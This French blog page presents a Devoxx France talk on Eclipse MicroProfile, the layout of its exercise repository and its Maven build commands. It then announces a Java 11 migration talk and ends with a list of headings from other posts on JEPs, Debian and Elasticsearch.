La communauté aime la pluralité. Cela est aussi vraie pour Eclipse Microprofile avec plusieurs implémentations disponibles : thorntail, payara, helidon, tomee, open liberty et d’autres.

Au delà d’une introduction sur ce projet, nous allons aborder les différentes spécifications par l’exemple (c’est à dire du code). Nous verrons ainsi leurs intérêts et leurs utilisations.

De plus, la dernière version Eclipse Microprofile 2.0 s’aligne sur les spécifiations Java EE / Jakarta EE 8.

CFP de Devoxxfr : via cfp.devoxx.fr

And now the talk on #Eclipse #microprofiles by @Lilian_Benoit #devoxxfr pic.twitter.com/jeaEfq1GjD
— Horacio Gonzalez #io19 (@LostInBrittany) 17 avril 2019

Vidéo de la présentation :

La conférence a été filmée et elle est disponible sur Internet via Youtube.fr

Support de présentation :

Le support de la présentation est disponible sur Speakerdeck.com

Dépôt GIT pour les exercices :

Les exemples sont disponibles sur un dépôt GIT via GitHub

Structure du dépôt

Les projets sont configurés avec l’outil Apache Maven. il existe un profile Maven pour chacune des implémentations Thorntail et OpenLiberty

Le pré-requis est la connaissance de JAX-RS. Pour cela, il y a deux projets d’introduction :

jaxrs : Projet Java utilisant uniquement JavaEE / JakartaEE, pour générer un war à déployer sur serveur d’application
mp-jaxrs : Même code que jaxrs mais avec une dépendance MicroProfile au lieu de JavaEE / JakartaEE

La dépôt contient aussi différents projets correspondant aux différentes spécifications :

mp-config : Pour manipuler la spécification MicroProfile Config
mp-fault-tolerance : Pour manipuler la spécification MicroProfile Fault Tolerance
mp-health : Pour manipuler la spécification MicroProfile Health Checks
mp-jwt : Pour manipuler la spécification MicroProfile JWT
mp-metrics : Pour manipuler la spécification MicroProfile Metrics
mp-openapi : Pour manipuler la spécification MicroProfile OpenAPI
mp-opentracing : Pour manipuler la spécification MicroProfile OpenTracing
mp-rest-client : Pour manipuler la spécification MicroProfile Rest Client

Chaque spécification a son projet afin d’étudier la spécification souhaitée sans aucun chemin. C’est à dire que je peux faire mp-jwt sans mp-health

Le projet microprofile-specs permet de définir deux profils avec les plugins Maven nécessaire aux implémentations. (Thorntail et Open Liberty)

Utilisation de branches

Les branches sont utilisées pour obtenir les différentes solutions. Par défaut, il faut commencer avec la branche mp-start afin de commencer l’exercice.

Pour avoir la solution, il suffit de choisir la branche correspondant ayant le nom spécification-finish. Par exemple, pour la branche solution pour la spécification mp-health est la branche mpHealth-finish.

Compilation et exécution pour Thorntail

mvn package -P thorntail-v2

Le plugin Thorntail est configuré pour créer un hollow-jar. L’exécution est faite par la commande suivante

<plugin>
    <groupId>io.thorntail</groupId>
	<artifactId>thorntail-maven-plugin</artifactId>
	<version>${version.thorntail}</version>
	<executions>
	    <execution>
		    <goals>
			    <goal>package</goal>
		    </goals>
	    	<configuration>
	        	<hollow>true</hollow><!--(1)-->
	        </configuration>
	    </execution>
	</executions>
</plugin>

true pour construire un hollow jar, false pour fat-jar

java -jar nom-projet-thorntail.jar mon-projet.war

Compilation et exécution pour OpenLiberty

mvn package -P liberty

Le plugin OpenLiberty est configuré pour créer un fat-jar. L’exécution est faite par la commande suivante :

java -jar nom-projet.jar

"Java 11 est sorti. c est le moment de remplacer son JDK8" - MarsJUG

jeu., 14 mars 2019 00:00:00 +0100

Voici le sujet

Pourquoi parler de Java 11 alors que Java 12 sort la semaine prochaine ?

.

C’est parce que java 11 est une version LTS (Long Term Support), c’est à dire avec un support étendu. Après la sortie de Java 9, 10, c’est le moment de franchir le cap et de changer de JDK. Nous verrons les nouveautés, les points d’attention. En clair, tout ce que vous devez savoir pour migrer en Java 11 en douceur et profitez des nouvelles fonctionnalités.

Support de présentation

Le support de la présentation est disponible sur SpeakerDeck.com

Références

Annonce Meetup du MarsJUG

Billets de Lilian

Eclipse plante systématiquement sous Debian (et autres distribution Linux)

Contexte

Scénarios de reproduction

Cause

Solution

Dans le détail

Spring STS

Pour le futur

Références

JEP 463, Implicitly Declared Classes and Instance Main Methods (Second Preview)

Contexte

Nouveauté

Principe

Exécution

Détails sur le lancement

Détails sur la classe explicitement nommé

Références

Debian - Montée de version de Debian 11 (Bullseye) à Debian 12 (Bookworm)

Contexte

Pré-requis

Montée de version

Vérification

Problèmes

Problèmes avec les pilotes Nvidia

Références

JEP 451, Prepare to Disallow the Dynamic Loading of Agents

Contexte

Objectif

Histoire

Références

JEP 444, Virtual Threads

Contexte

Objectif

Utilisation

Remarques

Compléments sur l’API

Différence sur l’API

Nouveautés

Compatible avec les variables Thread-local

Concurrence

Références

JEP 440, Records Pattern

Contexte

Principe

Pour aller plus loin

Exhaustivité du switch

Références

JEP 431, Sequenced Collections

Contexte

Principe

Implémentation

Risques

Références

Elasticsearch - Comment copier un index sur une autre instance ?

Contexte

Utilisation de la réindexation

Utilisation de la sauvegarde et restauration

La sauvegarde

La restauration

Références

JEP 445, Unnamed Classes and Instance Main Methods (Preview)

Contexte

Principe

Exécution

Détails sur le lancement

Détails sur la classe sans nom

Références

JEP 443, Unnamed Patterns and Variables (Preview)

Contexte

Principe

Motifs non utilisés

Variables non utilisées

Déclaration d’affectation

Bloc catch

Construction try-with-ressources

Boucle

Lambda

Histoire du souligné

Références

Construction `try-with-ressources`

Gestion des `enum` comme étiquette des cas

Gestion du `null`

Support du `null`

Traitement du `null`